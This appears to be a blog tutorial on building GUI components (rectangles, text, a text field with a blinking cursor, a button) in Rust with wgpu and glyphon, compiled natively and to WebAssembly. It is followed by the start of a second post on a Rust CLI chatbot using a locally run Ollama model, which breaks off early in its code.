This indices array creates a triangle from the three given points. So, by collecting all vertices and indices from the primitives making up our GUI components, we’ll be able to render all triangles they’re consisting of. We’ll see what this looks like in more detail later, when we implement the Rectangle primitive.

Next, once we collected all the information we need to pass into the rendering pipeline, we set up a vertex_buffer and an index_buffer into which we can shove our data:

let vertex_buffer = self
    .device
    .create_buffer_init(&wgpu::util::BufferInitDescriptor {
        label: None,
        contents: bytemuck::cast_slice(vertices.as_slice()),
        usage: wgpu::BufferUsages::VERTEX,
    });

let index_buffer = self
    .device
    .create_buffer_init(&wgpu::util::BufferInitDescriptor {
        label: None,
        contents: bytemuck::cast_slice(&indices),
        usage: wgpu::BufferUsages::INDEX,
    });

Again, we use bytemuck to convert these Vec types to the correct data type so that our pipeline can work with them. Also, we need to pass our list of collected text_areas to our text_renderer:

self.text_renderer
    .prepare(
        &self.device,
        &self.queue,
        &mut self.font_system,
        &mut self.text_atlas,
        Resolution {
            width: self.size.width,
            height: self.size.height,
        },
        text_areas,
        &mut self.text_cache,
    )
    .unwrap();

Since text rendering is a part of our rendering pipeline, we pass in all the parts of our pipeline our text_renderer needs, tell it the size of the window, and provide the text_areas to it.

Finally, we need to create an output and a view based on the text_renderer. The output and view are essentially what we’re rendering into. You could say this makes up one rendered frame of our program:

let output = self.surface.get_current_texture()?;
let view = output
    .texture
    .create_view(&wgpu::TextureViewDescriptor::default());

Then, to be able to connect all parts of our rendering pipeline configuration — the shaders, our vertex and index buffers, the just created frame to render into, etc. — we need to create a wgpu command encoder.

This command encoder will generate the actual commands to send to the GPU to render our scene. Within this command encoder, we can define several render passes, but in our case, we only need one:

let mut encoder = self
    .device
    .create_command_encoder(&wgpu::CommandEncoderDescriptor { label: None });

{
    let mut render_pass = encoder.begin_render_pass(&wgpu::RenderPassDescriptor {
        label: None,
        color_attachments: &[Some(wgpu::RenderPassColorAttachment {
            view: &view,
            resolve_target: None,
            ops: wgpu::Operations {
                load: wgpu::LoadOp::Clear(wgpu::Color {
                    r: 1.0,
                    g: 1.0,
                    b: 1.0,
                    a: 1.0,
                }),
                store: wgpu::StoreOp::Store,
            },
        })],
        depth_stencil_attachment: None,
        timestamp_writes: None,
        occlusion_query_set: None,
    });

    render_pass.set_pipeline(&self.render_pipeline);
    render_pass.set_vertex_buffer(0, vertex_buffer.slice(..));
    render_pass.set_index_buffer(index_buffer.slice(..), wgpu::IndexFormat::Uint16);
    render_pass.draw_indexed(0..num_indices, 0, 0..1);

    self.text_renderer
        .render(&self.text_atlas, &mut render_pass)
        .unwrap();
}

We configure our render pass to take some defaults and to use white (a value of 1.0 for r, g, b, and a, respectively) as a clean background color.

Then, we set the render_pass to use our configured pipeline as well as our vertex and index buffers. Importantly, we also use draw_indexed with the number of indices we collected so the render_pass knows how many of them to render.

We also call the rendering function of the text_renderer from glyphon, passing the render_pass to it to accomplish everything in one efficient rendering pass.

Finally, we send these encoded GPU commands to the GPU queue and schedule the rendered texture to be shown as the surface’s texture (output), concluding the rendering process:

        self.queue.submit(std::iter::once(encoder.finish()));

        output.present();
        self.text_atlas.trim();

        Ok(())
    }
}

Nice. We have a rendering pipeline, an application state, and a way to render to a screen. Next, let’s look at how we handle some input using the Winit event loop.

The event loop

Back in the run_app function in lib.rs, we run our created Winit event_loop as the next step:

event_loop
    .run(move |event, elwt| match event {
        UserEvent(ev) => handle_success_event(&mut state, &ev),
        Event::WindowEvent { window_id, event }
            if window_id == state.window().id() && !state.input(&event, elwt) =>
        {
            match event {
                WindowEvent::CloseRequested => elwt.exit(),
                WindowEvent::Resized(physical_size) => {
                    state.resize(physical_size);
                }
                WindowEvent::RedrawRequested => {
                    match state.render() {
                        Ok(_) => {}
                        Err(wgpu::SurfaceError::OutOfMemory) => elwt.exit(),
                        Err(e) => log::error!("render error: {e:?}"),
                    }
                }
                _ => (),
            };
        }
        Event::AboutToWait => {
            state.window.request_redraw();
        }
        _ => (),
    })
    .expect("event loop runs");

We start out by running the event loop and matching on incoming events. If the event is our custom event — in our case, a GUIEvent called UserEvent — then we call a custom handler. We’ll look at the implementation of the handle_success_event function later on when we implement our GUI components.

If the event is a WindowEvent and it concerns the current window, we call the input() method on our application State to handle the input event. If, and only if, the input() method doesn’t know what to do with the event, we get into the second match on the event. During this second match, we implement basic WindowEvents such as resizing and closing the window.

On closing the window, we simply quit the app. On a request redraw, we call render(). Finally, on a resize event, we call our resize() function, which sets the new size and reconfigures our Surface accordingly:

fn resize(&mut self, new_size: winit::dpi::PhysicalSize<u32>) {
    if new_size.width > 0 && new_size.height > 0 {
        self.size = new_size;
        self.config.width = new_size.width;
        self.config.height = new_size.height;
        self.surface.configure(&self.device, &self.config);
    }
}

Next, let’s look at State's input() function, where we handle keyboard and mouse input events:

fn input(&mut self, event: &WindowEvent, elwt: &EventLoopWindowTarget<GUIEvent>) -> bool {
    match event {
        WindowEvent::CursorMoved { position, .. } => {
            self.input_state.mouse_coords = position.to_owned();
            true
        }
        WindowEvent::MouseInput { state, button, .. } => match state {
            ElementState::Pressed => {
                if button == &winit::event::MouseButton::Left && !self.input_state.clicked {
                    self.input_state.clicked = true;
                    self.handle_click();
                }
                true
            }
            ElementState::Released => {
                if button == &winit::event::MouseButton::Left && self.input_state.clicked {
                    self.input_state.clicked = false;
                }
                true
            }
        },
        WindowEvent::KeyboardInput { event, .. } => {
            if let Key::Named(NamedKey::Escape) = event.logical_key {
                elwt.exit()
            }
            true
        }
        _ => false,
    }
}

If the mouse cursor moves, we update our mouse position in State.

If the mouse is clicked, we set the clicked flag on our input state and call the handle_click function, which detects if one of our components was clicked on. We’ll look at this function later, after we implement the components. Once the mouse button has been released, we reset the clicked state.

Finally, if the user uses the Escape key, we exit the program.

We’ll check out the rest of the code handling keyboard inputs — especially when it comes to inputting text into our TextField component — once we look at the TextField implementation later.

This concludes our basic event loop and input handling. Let’s implement our GUI components next to pull it all together into a working application.

Implementing GUI components in Rust with wgpu

In this section we’ll look at how to implement Rectangle, Text, TextField, and Button components. We’ll go through one step at a time to create the component and implement the input and rendering logic we hinted at earlier.

Rectangle component

Let’s start with the Rectangle primitive in the rectangle.rs file:

pub const NUM_INDICES: u32 = 6;

impl Rectangle {
    pub fn new(
        position: RectPos,
        color: [f32; 3],
        color_active: [f32; 3],
        border_color: [f32; 3],
        border_color_active: [f32; 3],
    ) -> Self {
        Self {
            color,
            color_active,
            border_color,
            border_color_active,
            position,
        }
    }

We can create a rectangle by drawing two triangles put together, which means it has six indices. We need to take the above-mentioned RectPos and the outer points of the rectangle, then connect them together.

Imagine that are four points — A, B, C and D — that make up the edges of the rectangle. The first triangle connects A, B, and C. The second triangle connects A, C, and D. This way, we get a rectangle from two triangles:

To render the rectangle, we need its vertices and indices. Let’s create methods to get them:

pub fn indices(&self, base: u16) -> [u16; 6] {
    [base, 1 + base, 2 + base, base, 2 + base, 3 + base]
}

Getting the indices is pretty straightforward. We count up from the base, which is simply num_indices, during the collection of all component indices. Then, based on this number, we connect our vertices together — e.g., [0, 1, 2] and [0, 2, 3] — to create a rectangle.

For the vertices, we need to do a bit more work. We pass in whether the current rectangle is active (e.g. hovered over) as well as the size of the window. We need the size so we can calculate the vertex coordinates based on the pixel coordinates of the given RectPos:

pub fn vertices(
    &mut self,
    is_active: bool,
    size: winit::dpi::PhysicalSize<u32>,
) -> [Vertex; 4] {
    let top = 1.0 - (self.position.top as f32 / (size.height as f32 / 2.0));
    let left = (self.position.left as f32 / (size.width as f32 / 2.0)) - 1.0;
    let bottom = 1.0 - (self.position.bottom as f32 / (size.height as f32 / 2.0));
    let right = (self.position.right as f32 / (size.width as f32 / 2.0)) - 1.0;

    let rect = [
        self.position.top as f32,
        self.position.left as f32,
        self.position.bottom as f32,
        self.position.right as f32,
    ];

    let mut color = self.color;
    let mut border_color = self.border_color;
    if is_active {
        color = self.color_active;
        border_color = self.border_color_active;
    }

    //  -1, 1    1,1
    //  A--------D
    //  |        |
    //  |        |
    //  |        |
    //  B--------C
    //  -1, -1   1, -1
    [
        Vertex {
            // A
            position: [left, top, 0.0],
            color,
            rect,
            border_color,
        },
        Vertex {
            // B
            position: [left, bottom, 0.0],
            color,
            rect,
            border_color,
        },
        Vertex {
            // C
            position: [right, bottom, 0.0],
            color,
            rect,
            border_color,
        },
        Vertex {
            // D
            position: [right, top, 0.0],
            color,
            rect,
            border_color,
        },
    ]
}

As mentioned above, we need a position, rect, color, and border_color for each Vertex. The color values are easy, since we have them in our Rectangle already. The rect is also easy, since it’s essentially just our RectPos — the outer pixels of the rectangle.

However, the position is a little more involved. We need to calculate the position based on the outer pixel values and the size of the window, since they need to be normalized to values between 1 and -1 — in other words, the left (-1) or right (1) of the screen for x, or the bottom (-1) or top (1) of the screen for y.

This leads to the following normalization formulas for our vertices:

let top = 1.0 - (self.position.top as f32 / (size.height as f32 / 2.0));
let left = (self.position.left as f32 / (size.width as f32 / 2.0)) - 1.0;
let bottom = 1.0 - (self.position.bottom as f32 / (size.height as f32 / 2.0));
let right = (self.position.right as f32 / (size.width as f32 / 2.0)) - 1.0;

With that, we can set our vertices to the four points of the rectangle:

A — top left
B — bottom left
C — bottom right
D — top right

Now we can also see how our indices connect A-B-C and A-C-D to form two triangles, which together form a rectangle.

Finally, we need a way to find out whether the current rectangle is being hovered over:

pub fn is_hovered(&self, mouse_coords: PhysicalPosition<f64>) -> bool {
    let rect_pos = self.position;
    mouse_coords.x > rect_pos.left as f64
        && mouse_coords.x < rect_pos.right as f64
        && mouse_coords.y > rect_pos.top as f64
        && mouse_coords.y < rect_pos.bottom as f64
}

Here, we simply check if the mouse coordinates are inside of the rectangle.

That’s it for the Rectangle implementation. Let’s move on to the Text component.

Text component

To create a new Text component, we need to instantiate a glyphon::Buffer and configure it for our needs, saving it inside the component:

const FONT_SIZE: f32 = 30.0;
const LINE_HEIGHT: f32 = 42.0;

impl Text {
    pub fn new(
        font_system: &mut FontSystem,
        rect_pos: RectPos,
        text: &str,
        color: Color,
        color_active: Color,
    ) -> Self {
        let mut buffer = Buffer::new(font_system, Metrics::new(FONT_SIZE, LINE_HEIGHT));

        buffer.set_size(
            font_system,
            (rect_pos.right - rect_pos.left) as f32,
            (rect_pos.bottom - rect_pos.top) as f32,
        );

        buffer.set_text(
            font_system,
            text,
            Attrs::new().family(Family::SansSerif),
            Shaping::Advanced,
        );

        buffer.lines.iter_mut().for_each(|line| {
            line.set_align(Some(glyphon::cosmic_text::Align::Center));
        });

        buffer.set_wrap(font_system, glyphon::Wrap::None);

        buffer.shape_until_scroll(font_system);

        Self {
            buffer,
            rect_pos,
            color,
            color_active,
        }
    }

We set the size, text, alignment, wrapping, and scrolling behavior of our text buffer. What’s important here is that we have to set the alignment for each line and calculate the width and height using the rectangle around the text.

Now, in order to render the Text, we need to get to the glyphon::TextArea. As we saw above, we can then pass the TextArea to the TextRenderer:

    pub fn text_area(&self, is_active: bool) -> TextArea {
        let text_width = self.get_text_width();
        let TextWidth {
            width,
            buffer_width,
        } = text_width;

        let text_overlap = if width > buffer_width {
            width - buffer_width
        } else {
            0.0
        };

        TextArea {
            buffer: &self.buffer,
            left: self.rect_pos.left as f32 - text_overlap,
            top: self.top(),
            scale: 1.0,
            bounds: self.bounds(),
            default_color: if is_active {
                self.color_active
            } else {
                self.color
            },
        }
    }
}

We do this by first calculating the width of the text using a helper, which goes through all layout runs and calculates the maximum width of the rendered text:

pub fn get_text_width(&self) -> TextWidth {
    TextWidth {
        width: self
            .buffer
            .layout_runs()
            .fold(0.0, |width, run| run.line_w.max(width)),
        buffer_width: self.buffer.size().0,
    }
}

Then, we calculate the text_overlap. This is important because if the text overlaps our text bounds, it will be clipped — i.e., not rendered. So, if we want to see what’s being written beyond the end of the Text, we need to calculate how much offset to add to the left side of the bounding box.

Finally, we create the TextArea:

fn bounds(&self) -> TextBounds {
    TextBounds {
        left: self.rect_pos.left as i32,
        top: self.rect_pos.top as i32,
        right: self.rect_pos.right as i32,
        bottom: self.rect_pos.bottom as i32,
    }
}

fn top(&self) -> f32 {
    (self.rect_pos.bottom - (self.rect_pos.bottom - self.rect_pos.top) / 2) as f32
        - (self.buffer.metrics().line_height / 2.0)
}

we calculate the text bounds based on the RectPos provided to Text, set the text color based on the active state, and calculate the left and top of the text area using the previously calculated text_overlap. We also vertically align the text by calculating the vertical center of the text box using the top() function.

The only thing left for the Text component is a way to actually set the text content”

pub fn set_text(&mut self, font_system: &mut FontSystem, text: &str) {
    self.buffer.set_text(
        font_system,
        text,
        Attrs::new().family(Family::SansSerif),
        Shaping::Advanced,
    );
}

The set_text function simply pushes the given text into the buffer. This means that for the TextField component in which we want to be able to type, we’ll need to update the text based on the previous content before calling set_text. That’s what we’re going to look at next.

TextField component

To create a TextField, we use a TextFieldConfig struct as well as some constants for padding and the cursor styling:

#[derive(Debug)]
pub struct TextFieldConfig {
    pub rect_pos: RectPos,
    pub fill_color: [f32; 3],
    pub fill_color_active: [f32; 3],
    pub border_color: [f32; 3],
    pub border_color_active: [f32; 3],
    pub text_color: glyphon::Color,
}

pub const CURSOR_BLINK_TIMEOUT_MS: u128 = 500;
const PADDING: u32 = 10;
const CURSOR_WIDTH: u32 = 2;

impl TextField {
    pub fn new(cfg: TextFieldConfig, font_system: &mut glyphon::FontSystem) -> Self {
        let padded_rect = RectPos {
            top: cfg.rect_pos.top + PADDING,
            left: cfg.rect_pos.left + PADDING,
            right: cfg.rect_pos.right - PADDING,
            bottom: cfg.rect_pos.bottom - PADDING,
        };
        Self {
            rectangle: Rectangle::new(
                cfg.rect_pos,
                cfg.fill_color,
                cfg.fill_color_active,
                cfg.border_color,
                cfg.border_color_active,
            ),
            text: Text::new(font_system, padded_rect, "", cfg.text_color, cfg.text_color),
            content: String::new(),
            active: false,
            last_cursor_blink: None,
        }
    }

We instantiate a Text component as well as a Rectangle based on the values given in TextFieldConfig. We then initialize the content of the text field to an empty String, the active value to false, and last_cursor_blink to None so that no blinking cursor will show.

As mentioned above, we need a way to add and remove text from the TextField. This will ensure users can type in the fiels and remove typed characters using their backspace key:

pub fn add_text(&mut self, font_system: &mut FontSystem, text: &str) {
    if self.active {
        self.content.push_str(text);
        self.text.set_text(font_system, &self.content);
    }
}

pub fn remove_character(&mut self, font_system: &mut FontSystem) {
    if self.active {
        self.content.pop();
        self.text.set_text(font_system, &self.content);
    }
}

Also, we need a way to set the text field to active when a user clicks on it:

pub fn set_active(&mut self) {
    self.active = true;
    if self.last_cursor_blink.is_none() {
        self.last_cursor_blink = Some(SystemTime::now());
    }
}

pub fn set_inactive(&mut self) {
    self.active = false;
    self.last_cursor_blink = None;
}

Every time we click outside the text field and back in, we want to reset the blinking cursor. So, we have to set that behavior as well, together with the active state. We also need a way to calculate the cursor position to be able to render it:

pub fn get_cursor(&self) -> Rectangle {
    let text_width = self.text.get_text_width();
    let rect_pos = self.rectangle.position;
    let left = if text_width.width > text_width.buffer_width {
        rect_pos.right - PADDING
    } else {
        rect_pos.left + text_width.width as u32 + PADDING
    };
    Rectangle::new(
        RectPos {
            top: rect_pos.top + PADDING,
            left,
            right: left + CURSOR_WIDTH,
            bottom: rect_pos.bottom - PADDING,
        },
        [0.0, 0.0, 0.0],
        [0.0, 0.0, 0.0],
        [0.0, 0.0, 0.0],
        [0.0, 0.0, 0.0],
    )
}

We calculate the text width of the contained Text component. With some small PADDING, we add a small rectangle to the end of the text. This is our blinking cursor, which we create using our Rectangle primitive with all colors set to black.

That’s it for the TextField. Let’s look at the final component, Button.

Button component

The Button is the simplest of our components, since it’s just a composition of a Rectangle and a Text. Here’s the full implementation of our Button component:

pub struct ButtonConfig {
    pub rect_pos: RectPos,
    pub fill_color: [f32; 3],
    pub fill_color_active: [f32; 3],
    pub border_color: [f32; 3],
    pub border_color_active: [f32; 3],
    pub text: &'static str,
    pub text_color: glyphon::Color,
    pub text_color_active: glyphon::Color,
    pub on_click: Box<dyn Fn()>,
}

impl Button {
    pub fn new(cfg: ButtonConfig, font_system: &mut glyphon::FontSystem) -> Self {
        Self {
            rectangle: Rectangle::new(
                cfg.rect_pos,
                cfg.fill_color,
                cfg.fill_color_active,
                cfg.border_color,
                cfg.border_color_active,
            ),
            text: Text::new(
                font_system,
                cfg.rect_pos,
                cfg.text,
                cfg.text_color,
                cfg.text_color_active,
            ),
            on_click: cfg.on_click,
        }
    }

    pub fn click(&mut self) {
        (self.on_click)()
    }

    pub fn is_hovered(&self, mouse_coords: PhysicalPosition<f64>) -> bool {
        self.rectangle.is_hovered(mouse_coords)
    }
}

We create a new button using ButtonConfig, which we use in new() to instantiate a Text and Rectangle. The only other thing we need are helpers for when the button is hovered over and to call the on_click handler if the button is clicked.

We don’t need to implement functions for rendering, since we can simply get the text_areas and vertices/indices from the Text and Rectangle inside of Button, as with TextField.

Putting our Rust app together

Now that our components are done, let’s look at the changes we need to make to input handling, application state creation, and rendering.

Component creation

With the GUI component implementations in place, we can now instantiate them in the State::new() function:

let events_proxy_clone = event_loop_proxy.clone();
let button = button::Button::new(
    button::ButtonConfig {
        rect_pos: RectPos {
            top: 125,
            left: 100,
            bottom: 225,
            right: 400,
        },
        fill_color: [0.5, 0.0, 0.5],
        fill_color_active: [1.0, 0.0, 1.0],
        border_color: [0.0, 0.0, 0.0],
        border_color_active: [0.5, 0.5, 0.5],
        text: "Submit 🚀",
        text_color: Color::rgb(200, 200, 200),
        text_color_active: Color::rgb(255, 255, 255),
        on_click: Box::new(move || {
            let _ = events_proxy_clone.send_event(GUIEvent::SuccessEvent(Id(1)));
        }),
    },
    &mut font_system,
);

let text_field = text_field::TextField::new(
    text_field::TextFieldConfig {
        rect_pos: RectPos {
            top: 50,
            left: 100,
            bottom: 120,
            right: 400,
        },
        fill_color: [0.9, 0.9, 0.9],
        fill_color_active: [1.0, 1.0, 1.0],
        border_color: [0.3, 0.3, 0.3],
        border_color_active: [0.1, 0.1, 0.1],
        text_color: Color::rgb(10, 10, 10),
    },
    &mut font_system,
);

let components = vec![
    Component::Button(Id(0), button),
    Component::TextField(Id(1), text_field),
];

First, we create the submit Button by setting its position, colors, and text. Also, we use a clone of the event_loop_proxy within Winit to create our on_click handler, which simply sends a new GUIEvent::SuccessEvent() to the event loop.

Then, we create the interactive text field by setting its position and color values, adding both components to our components vector within State, and giving them static Id labels.

Input handling

Alright, now that we implemented and created all of our GUI components, let’s look at the input handling for them. First of all, the handle_click() function, which is called whenever the mouse is clicked:

fn handle_click(&mut self) {
    self.components
        .iter_mut()
        .for_each(|component| match component {
            Component::Button(_id, button) => {
                if button.rectangle.is_hovered(self.input_state.mouse_coords) {
                    button.click();
                }
            }
            Component::TextField(_id, text_field) => {
                if text_field
                    .rectangle
                    .is_hovered(self.input_state.mouse_coords)
                {
                    text_field.set_active();
                } else {
                    text_field.set_inactive();
                }
            }
            _ => (),
        });
}

On every click, we iterate our components. If it’s a button that’s clicked, we trigger its on_click function. If it’s a TextField, we simply set it to active. If the click is outside the TextField, we set it to inactive again. This works for every currently rendered component.

Next, let’s look at the keyboard input handling for the TextField component.

If a text field is active, we want to display typed characters or remove them if the user presses the backspace key. In a real app’s text field, we might want additional functionalities like selecting text and moving the cursor. For our simple example, we’ll just implement these two modes of adding and removing text:

self.components // within WindowEvent::KeyboardInput { event, .. }
    .iter_mut()
    .filter_map(|component| match component {
        Component::TextField(_id, text_field) => {
            if text_field.active {
                Some(text_field)
            } else {
                None
            }
        }
        _ => None,
    })
    .for_each(|text_field| {
        if event.state == ElementState::Pressed {
            match event.logical_key.as_ref() {
                Key::Named(NamedKey::Backspace) => {
                    text_field.remove_character(&mut self.font_system);
                }
                Key::Named(NamedKey::Enter) => (),
                _ => {
                    if let Some(ref txt) = event.text {
                        text_field.add_text(&mut self.font_system, txt.as_str());
                    }
                }
            }
        }
    });

Again, we iterate all components in State, filtering for active text fields. Then, for each of those, if a text-based key is pressed, we add that character to the text field or remove it upon backspace. We disable the Enter button, but in theory, we could implement some automatic submit logic here.

Finally, we implement the above mentioned handle_success_event function. This function is triggered when the user clicks on the Submit button, as defined earlier in our on_click event handler for the Button.

Whenever the user clicks on the button, we want a new Text component to appear. This component writes Success: {the text that was entered}! on the screen in a green color below the Button and TextField:

fn handle_success_event(state: &mut State, ev: &GUIEvent) {
    if let Some(idx) = state
        .components
        .iter()
        .position(|c| matches!(c, Component::Text(Id(id), _) if *id == 2))
    {
        state.components.swap_remove(idx);
    }

    let comp = match ev {
        GUIEvent::SuccessEvent(Id(target_id)) => state
            .components
            .iter()
            .filter_map(|component| match component {
                Component::TextField(Id(id), text_field)
                    if id == target_id && !text_field.content.is_empty() =>
                {
                    Some(text_field)
                }
                _ => None,
            })
            .next(),
    };

    if let Some(text_field) = comp {
        state.components.push(Component::Text(
            Id(2),
            text::Text::new(
                &mut state.font_system,
                RectPos {
                    top: 250,
                    left: 100,
                    bottom: 400,
                    right: 400,
                },
                &format!("Success: {}!", text_field.content),
                Color::rgb(0, 200, 0),
                Color::rgb(0, 200, 0),
            ),
        ));
    }
}

First, we check if a component with id 2 exists. If so, we remove it, since this is the component we’re going to add on click; if we didn’t remove it, we would just add more and more components on every click.

Then, we check if there is a text field with the target Id set within the on_click handler — in this case, 1, the Id of our TextField. If so, we add a new Text component with the above-mentioned text in a green color right below our button.

Alright, that’s it for the component input events. Let’s implement the rendering logic for each different component next.

Component rendering

To render each of the components, as mentioned before, we must collect their respective vertices, indices, and text_areas. First, we iterate over all components:

self.components
    .iter_mut()
    .for_each(|component| match component {

If it’s a Button, we see if it’s currently hovered on, get its rectangle’s vertices, and add them to the vertices list. We do the same for the indices, then increment the number of vertices and indices so we can correctly calculate the indices for subsequent components. Finally, we add the text_area from the Text component contained in the Button to the text_areas vector:

Component::Button(_id, button) => {
    let button_active = button.is_hovered(self.input_state.mouse_coords);
    let button_vertices = button.rectangle.vertices(button_active, self.size);

    vertices.extend_from_slice(&button_vertices);
    indices.extend_from_slice(&button.rectangle.indices(num_vertices));

    num_vertices += button_vertices.len() as u16;
    num_indices += rectangle::NUM_INDICES;

    text_areas.push(
        button
            .text
            .text_area(button_active && self.input_state.clicked),
    );
}

For the Text component, the logic limits itself to just the last part we just saw, adding the inner text area to the list of text areas:

Component::Text(_id, text) => text_areas.push(text.text_area(false)),

Finally, for the TextField component, we must get the vertices and indices from the inner rectangle and the text area from the inner text component. Besides this, there are a few more things we need to do since we have to also render the blinking cursor:

Component::TextField(_id, text_field) => {
    let text_field_active = text_field.active;
    let text_field_vertices =
        text_field.rectangle.vertices(text_field_active, self.size);

    vertices.extend_from_slice(&text_field_vertices);
    indices.extend_from_slice(&text_field.rectangle.indices(num_vertices));

    num_vertices += text_field_vertices.len() as u16;
    num_indices += rectangle::NUM_INDICES;

    let now = SystemTime::now();
    if text_field_active
        && text_field.last_cursor_blink.is_some_and(|dur| {
            now.duration_since(dur).is_ok_and(|duration| {
                duration.as_millis() > text_field::CURSOR_BLINK_TIMEOUT_MS
            })
        })
    {
        let mut cursor = text_field.get_cursor();
        let cursor_vertices = cursor.vertices(false, self.size);

        vertices.extend_from_slice(&cursor_vertices);
        indices.extend_from_slice(&text_field.get_cursor().indices(num_vertices));

        num_vertices += cursor_vertices.len() as u16;
        num_indices += rectangle::NUM_INDICES;

        if text_field.last_cursor_blink.is_some_and(|dur| {
            now.duration_since(dur).is_ok_and(|duration| {
                duration.as_millis() > text_field::CURSOR_BLINK_TIMEOUT_MS * 2
            })
        }) {
            text_field.last_cursor_blink = Some(SystemTime::now());
        }
    }

    text_areas.push(
        text_field
            .text
            .text_area(text_field_active && self.input_state.clicked),
    );
}

The first and last part is the same as for Button, but in the middle we see the logic for the cursor. If the text field is active, we have to calculate when the cursor last blinked. If that was more than 500 ms ago, we render it. Otherwise, we let it disappear to create a continuous blinking effect.

Rendering the cursor simply consists of getting the cursor rectangle’s vertices and indices. As before, we then add them to their respective lists and increment the amount of vertices and indices to render.

That concludes the implementation of our components and, with that, our app! Before we test it, let’s make sure it also works on the web.

Make our app work for the web

To compile our app to WebAssembly and render it using a WebGL or WebGPU backend, we need to make a few small changes for the wasm32 target — or rather, a few additions throughout the application.

In the lib.rs and text.rs files, we use a different SystemTime implementation for WASM that works on the web, since std::time::SystemTime panics in the browser:

cfg_if::cfg_if! {
    if #[cfg(target_arch = "wasm32")] {
        use web_time::SystemTime;
        use wasm_bindgen::prelude::*;
    } else {
        use std::time::SystemTime;
    }
}

In State::new() within the lib.rs file, we’ll change the size to use fixed values since we have a Canvas of a fixed size. We also set the backend to GL, since we’ll be using the WebGL backend to render to. This will allow us to look at the result in all available modern browsers:

cfg_if::cfg_if! {
    if #[cfg(target_arch = "wasm32")] {
        let size = winit::dpi::PhysicalSize::new(500, 500);
        let instance = wgpu::Instance::new(wgpu::InstanceDescriptor {
            backends: wgpu::Backends::GL,
            ..Default::default()
        });
        let limits = wgpu::Limits::downlevel_webgl2_defaults();
    } else {
        let size = window.inner_size();
        let instance = wgpu::Instance::default();
        let limits = wgpu::Limits::default();
    }
}

In the run() function within the lib.rs file, we’ll configure a different logger, so the browser’s console.log is used for logging. We’ll also set up the Canvas element for the web version to render into:

#[cfg_attr(target_arch = "wasm32", wasm_bindgen(start))]
pub async fn run() {
    cfg_if::cfg_if! {
        if #[cfg(target_arch = "wasm32")] {
            std::panic::set_hook(Box::new(console_error_panic_hook::hook));
            console_log::init_with_level(log::Level::Warn).expect("Couldn't initialize logger");
        } else {
          ...
        }
    }
    ...
    #[cfg(target_arch = "wasm32")]
    {
        use winit::platform::web::WindowExtWebSys;
        web_sys::window()
            .and_then(|win| win.document())
            .and_then(|doc| {
                let canvas = web_sys::Element::from(window.canvas().unwrap());
                doc.get_element_by_id("app")?.append_child(&canvas).ok()?;
                Some(())
            })
            .unwrap();
    }
    ...
}

Finally, we have to create an index.html file, which imports and runs our compiled WASM file from the ./static folder, where we’ll compile it to using wasm-pack:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Rust WGPU GUI Example</title>
    <style>
        canvas {
            width: 500px;
            height: 500px;
        }
    </style>
</head>

<body id="app">
  <script type="module">
      import init from "./static/wasm.js";
      init().then(() => {
          console.log("WASM Loaded");
      });
  </script>
</body>

</html>

Great. Now that the web-based setup is done, let’s see if this thing we built actually works.

Testing our Rust app and cross-platform wgpu graphics

First, let’s test the native version, simply by running the following command:

RUST_LOG=info cargo run

We should see the following:

Awesome, it works! We can type and delete text, and if we hover over or click on the button, it highlights. On click of the button, we get the expected success message below. Very cool!

Next, let’s try if the cross-platform promise holds up as well by compiling the whole thing to Wasm and running it in a browser. For this purpose, we’ll use the wasm-pack tool:

wasm-pack build --dev --target web --out-name wasm --out-dir ./static

This will build the WebAssembly version of our app into the ./static folder with a file called wasm.js, which we can include in our index.html file.

Now the only thing we need to do is run a local HTTP server to serve our index.html file. We can do this using the following Python command:

python3 -m http.server

We can check out our app at http://localhost:8000/index.html. It should look like this:

Nice, it works on the web as well. As mentioned above, this uses the WebGL backend of wgpu for compatibility reasons, but in a browser that fully supports wgpu, it will work just as well.

That’s it for this tutorial. We’ve come a long way! You can find the full project code on GitHub.

Conclusion

In this article, we used the wgpu library and Rust to build a very simple GUI application by interfacing with some of the low-level components that underlie every modern graphical user interface.

During this process, we went from creating a rendering pipeline to building graphical primitives based on triangles and composing them together to create actual interactive GUI components — albeit limited in functionality — such as a text field and a button.

The goal of this post was to show that these lower-level parts, while being a bit more convoluted and verbose to use, can be understood and mastered like any other piece of software. Knowing how things work under the hood will make you better at using higher abstraction concepts as well, but gives you the tools to dip into the lower-level weeds if you need to.

Building a simple AI chatbot using Rust and Ollama

08 Mar 2024 00:00 +0000

Generative AI has been all the rage for some time and it seems like this latest entry to the industry’s hype cycle will stay with us for the foreseeable future. Between that and the fact that I was looking for an interesting example for a coding dojo at work, I thought it would be interesting to build something that leverages one of the open source LLMs in Rust. This post basically describes the example I chose and my solution for it. We had a lot of fun implementing this collaboratively at the coding dojo, so you might enjoy it as well. :)

The Ollama project makes it quite convenient to download and run many of the existing open source LLMs locally, exposing a REST API to interact with them and thus was an obvious choice for this exercise.

So in this tutorial, we’ll create a simple, CLI-based AI chatbot in Rust, leveraging a locally running LLM provided by Ollama.

Let’s get started!

Setup

As mentioned above, we’ll use Ollama to run an LLM locally. You can download and install Ollama as described here. Then, locally, you can start it by running ollama run llama2. This will already open a chatbot-like interface, which you can exit using the /bye command. At this point, you can also send HTTP requests to the model, e.g. using cURL:

curl http://localhost:11434/api/chat -d '{
  "model": "llama2",
  "messages": [
    { "role": "user", "content": "hello AI, what's happenin'?" }
  ]
}'

Notice the user role in the request. The LLM will always answer in the assistant role. This will become relevant later on, when we implement keeping the whole context of the conversation in the context of our chat.

To set up the Rust project, we use cargo:

cargo new rust-ai-chatbox-example
cd rust-ai-chatbox-example

And then we can edit the Cargo.toml file and add some dependencies we’ll need.

[dependencies]
reqwest = { version = "0.11.24", features = ["json"] }
serde = { version = "1.0.197", features = ["derive"] }
serde_json = "1.0.114"
tokio = { version = "1.36.0", features = ["full"] }

We’ll be using async Rust to build this thing, so we rely on Tokio as an async runtime, Reqwest to handle HTTP requests and Serde for serializing and deserializing JSON.

That’s it, let’s get coding!

Implementing the CLI

First, we define the data structure for exchanging data with the locally running Ollama-based LLM.

#[derive(Debug, Clone, Serialize, Deserialize)]
struct Response {
    message: Message,
    done: bool,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
struct Message {
    role: String,
    content: String,
}

We’ll read directly from stdin and write to stdout. Also, to keep the full conversation context during the chat session, we’ll keep a Vec of Message, which we’ll update with all messages sent to and received from the LLM.

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let messages: Vec<Message> = vec![];
